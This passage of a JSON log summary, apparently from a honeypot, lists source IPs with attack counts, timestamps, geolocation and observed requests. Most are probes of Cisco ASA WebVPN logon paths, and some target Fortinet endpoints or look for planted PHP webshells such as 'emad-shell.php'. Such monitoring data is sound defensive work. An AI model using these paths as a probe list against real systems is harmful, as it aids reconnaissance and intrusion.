        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "135.106.85.108": {
      "attack_count": 14,
      "first_seen": "2026-05-30T07:41:34.944Z",
      "last_seen": "2026-05-30T08:10:23.956Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Tewksbury",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "155.212.114.249": {
      "attack_count": 14,
      "first_seen": "2026-05-26T00:49:46.384Z",
      "last_seen": "2026-05-26T16:14:58.898Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Bingen",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "185.128.224.170": {
      "attack_count": 14,
      "first_seen": "2026-05-26T08:25:53.889Z",
      "last_seen": "2026-05-29T20:31:27.433Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "185.68.83.77": {
      "attack_count": 14,
      "first_seen": "2026-05-29T04:07:55.245Z",
      "last_seen": "2026-05-30T05:48:33.896Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "193.228.48.105": {
      "attack_count": 14,
      "first_seen": "2026-05-26T13:13:14.325Z",
      "last_seen": "2026-05-26T16:16:46.999Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "138.199.43.80": {
      "attack_count": 12,
      "first_seen": "2026-05-16T02:24:51.104Z",
      "last_seen": "2026-05-29T14:40:54.835Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "143.244.47.72": {
      "attack_count": 12,
      "first_seen": "2026-05-07T02:24:53.911Z",
      "last_seen": "2026-05-22T16:05:48.495Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "173.249.252.207": {
      "attack_count": 12,
      "first_seen": "2026-05-08T12:44:44.840Z",
      "last_seen": "2026-05-31T05:13:36.074Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.195": {
      "attack_count": 12,
      "first_seen": "2026-05-03T12:10:47.643Z",
      "last_seen": "2026-05-11T10:10:24.326Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.78.79": {
      "attack_count": 12,
      "first_seen": "2026-05-05T17:42:51.644Z",
      "last_seen": "2026-05-29T12:47:22.314Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.83.199": {
      "attack_count": 12,
      "first_seen": "2026-05-02T04:24:52.691Z",
      "last_seen": "2026-05-26T09:57:00.422Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.150": {
      "attack_count": 12,
      "first_seen": "2026-05-02T06:21:46.522Z",
      "last_seen": "2026-05-29T20:05:11.540Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.73": {
      "attack_count": 12,
      "first_seen": "2026-05-05T12:18:44.799Z",
      "last_seen": "2026-05-26T05:57:43.613Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "65.49.1.172": {
      "attack_count": 11,
      "first_seen": "2026-05-11T10:41:04.722Z",
      "last_seen": "2026-05-11T10:48:09.280Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "23.234.92.200": {
      "attack_count": 10,
      "first_seen": "2026-05-05T19:05:31.891Z",
      "last_seen": "2026-05-24T02:25:26.127Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.160.24.24": {
      "attack_count": 9,
      "first_seen": "2026-05-05T00:00:47.491Z",
      "last_seen": "2026-05-24T02:45:30.310Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 30671,
      "as_org": "Data Bridge Limited"
    },
    "23.234.82.67": {
      "attack_count": 9,
      "first_seen": "2026-05-05T08:58:59.625Z",
      "last_seen": "2026-05-26T08:34:50.711Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.90.192": {
      "attack_count": 9,
      "first_seen": "2026-05-05T18:14:07.224Z",
      "last_seen": "2026-05-07T08:49:18.737Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.210.3": {
      "attack_count": 9,
      "first_seen": "2026-05-21T00:25:19.489Z",
      "last_seen": "2026-05-26T09:30:30.827Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "136.234.142.215": {
      "attack_count": 7,
      "first_seen": "2026-05-26T10:22:24.176Z",
      "last_seen": "2026-05-26T10:22:38.275Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 204957,
      "as_org": "Green Floid LLC"
    },
    "141.133.82.10": {
      "attack_count": 7,
      "first_seen": "2026-05-26T14:19:49.548Z",
      "last_seen": "2026-05-26T14:20:01.798Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Racine",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "141.133.83.231": {
      "attack_count": 7,
      "first_seen": "2026-05-27T21:22:36.661Z",
      "last_seen": "2026-05-27T21:22:47.806Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Mount Vernon",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "142.111.247.234": {
      "attack_count": 7,
      "first_seen": "2026-05-29T07:22:20.550Z",
      "last_seen": "2026-05-29T07:22:32.983Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "166.88.183.97": {
      "attack_count": 7,
      "first_seen": "2026-05-30T04:04:38.992Z",
      "last_seen": "2026-05-30T04:04:54.187Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": null,
      "as_org": null
    },
    "142.147.89.212": {
      "attack_count": 6,
      "first_seen": "2026-05-04T15:39:32.928Z",
      "last_seen": "2026-05-08T01:00:25.425Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 6233,
      "as_org": "xTom"
    },
    "23.168.216.68": {
      "attack_count": 6,
      "first_seen": "2026-05-07T04:24:08.495Z",
      "last_seen": "2026-05-20T00:52:06.307Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 399935,
      "as_org": "Hayashimo LLC"
    },
    "23.234.104.200": {
      "attack_count": 6,
      "first_seen": "2026-05-06T02:42:08.821Z",
      "last_seen": "2026-05-07T08:11:08.733Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.111.200": {
      "attack_count": 6,
      "first_seen": "2026-05-04T19:54:08.320Z",
      "last_seen": "2026-05-11T11:43:32.402Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Atlanta",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.113.192": {
      "attack_count": 6,
      "first_seen": "2026-05-04T11:55:00.200Z",
      "last_seen": "2026-05-04T20:36:10.946Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "45.84.107.174": {
      "attack_count": 6,
      "first_seen": "2026-05-24T01:27:30.353Z",
      "last_seen": "2026-05-24T01:27:39.421Z",
      "ports": [],
      "event_types": [
        "\"GET /STC_VoIP_PIN/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /restapi/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /restapps/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /temp/config.all.php? HTTP/1.1\" 404 -",
        "\"GET /templates_c/config.all.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 214503,
      "as_org": "QuxLabs AB"
    },
    "66.132.195.95": {
      "attack_count": 6,
      "first_seen": "2026-05-10T02:13:47.196Z",
      "last_seen": "2026-05-10T02:14:01.403Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /favicon.ico HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"PRI * HTTP/2.0\" 505 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 505"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc."
    },
    "192.42.116.102": {
      "attack_count": 5,
      "first_seen": "2026-05-24T01:23:21.171Z",
      "last_seen": "2026-05-24T01:23:28.189Z",
      "ports": [],
      "event_types": [
        "\"GET /recordings/ELLYAAS/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/ELMAYET/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/em7e/config.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/emad-shell.php?34 HTTP/1.1\" 404 -",
        "\"GET /recordings/emad.php?45 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "165.154.173.141": {
      "attack_count": 4,
      "first_seen": "2026-05-26T18:33:03.937Z",
      "last_seen": "2026-05-26T18:33:14.140Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"t3 12.1.2\" 400 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED"
    },
    "192.42.116.97": {
      "attack_count": 4,
      "first_seen": "2026-05-24T01:19:44.848Z",
      "last_seen": "2026-05-24T01:20:01.822Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /Hima.php?28 HTTP/1.1\" 404 -",
        "\"GET /ssh.php?2123 HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology"
    },
    "193.123.254.146": {
      "attack_count": 4,
      "first_seen": "2026-05-08T08:35:11.158Z",
      "last_seen": "2026-05-08T08:35:19.305Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seoul",
      "asn": 31898,
      "as_org": "Oracle Corporation"
    },
    "82.22.65.116": {
      "attack_count": 4,
      "first_seen": "2026-05-22T14:36:12.863Z",
      "last_seen": "2026-05-23T00:12:09.042Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.220.101.33": {
      "attack_count": 3,
      "first_seen": "2026-05-24T01:20:07.632Z",
      "last_seen": "2026-05-24T01:20:11.304Z",
      "ports": [],
      "event_types": [
        "\"GET /pew.php?qw HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/config.inc.php? HTTP/1.1\" 404 -",
        "\"GET /recordings/theme/new.php? HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "Germany",
      "country_code": "DE",
      "city": "Brandenburg an der Havel",
      "asn": 60729,
      "as_org": "Stiftung Erneuerbare Freiheit"
    },
    "23.159.216.192": {
      "attack_count": 3,
      "first_seen": "2026-05-06T04:00:29.743Z",
      "last_seen": "2026-05-06T04:00:36.824Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.96.81": {
      "attack_count": 3,
      "first_seen": "2026-05-07T10:00:58.285Z",
      "last_seen": "2026-05-07T10:01:07.198Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "3.131.220.121": {
      "attack_count": 3,
      "first_seen": "2026-05-08T13:10:20.050Z",
      "last_seen": "2026-05-18T09:28:40.780Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "47.84.100.125": {
      "attack_count": 3,
      "first_seen": "2026-05-30T11:46:32.927Z",
      "last_seen": "2026-05-30T11:46:36.225Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd."
    },
    "13.218.68.64": {
      "attack_count": 2,
      "first_seen": "2026-05-18T00:57:32.194Z",
      "last_seen": "2026-05-19T00:54:10.934Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "3.132.26.232": {
      "attack_count": 2,
      "first_seen": "2026-05-07T13:41:44.333Z",
      "last_seen": "2026-05-07T13:41:47.335Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc."
    },
    "3.80.27.62": {
      "attack_count": 2,
      "first_seen": "2026-05-10T01:08:49.446Z",
      "last_seen": "2026-05-10T01:08:52.449Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "62.84.168.163": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:35:57.438Z",
      "last_seen": "2026-05-23T11:35:58.209Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 25369,
      "as_org": "Hydra Communications Ltd"
    },
    "66.228.53.174": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:06:33.440Z",
      "last_seen": "2026-05-05T21:06:36.441Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Richardson",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud"
    },
    "85.11.183.21": {
      "attack_count": 2,
      "first_seen": "2026-05-04T19:18:21.348Z",
      "last_seen": "2026-05-05T12:14:37.440Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "London",
      "asn": 201002,
      "as_org": "PebbleHost Ltd"
    },
    "178.94.133.101": {
      "attack_count": 1,
      "first_seen": "2026-05-30T15:32:21.674Z",
      "last_seen": "2026-05-30T15:32:21.674Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.0\" 302 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 3257,
      "as_org": "GTT Communications Inc."
    },
    "18.204.195.34": {
      "attack_count": 1,
      "first_seen": "2026-05-30T05:32:07.471Z",
      "last_seen": "2026-05-30T05:32:07.471Z",
      "ports": [],
      "event_types": [
        "\"GET /robots.txt HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "216.218.206.109": {
      "attack_count": 1,
      "first_seen": "2026-05-08T10:36:13.188Z",
      "last_seen": "2026-05-08T10:36:13.188Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.111": {
      "attack_count": 1,
      "first_seen": "2026-05-15T06:51:54.687Z",
      "last_seen": "2026-05-15T06:51:54.687Z",
      "ports": [],
      "event_types": [
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "216.218.206.93": {
      "attack_count": 1,
      "first_seen": "2026-05-08T10:37:48.841Z",
      "last_seen": "2026-05-08T10:37:48.841Z",
      "ports": [],
      "event_types": [
        "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Cazadero",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "23.20.114.14": {
      "attack_count": 1,
      "first_seen": "2026-05-30T05:32:46.150Z",
      "last_seen": "2026-05-30T05:32:46.150Z",
      "ports": [],
      "event_types": [
        "\"GET /favicon.ico HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc."
    },
    "45.84.107.101": {
      "attack_count": 1,
      "first_seen": "2026-05-24T01:27:01.404Z",
      "last_seen": "2026-05-24T01:27:01.404Z",
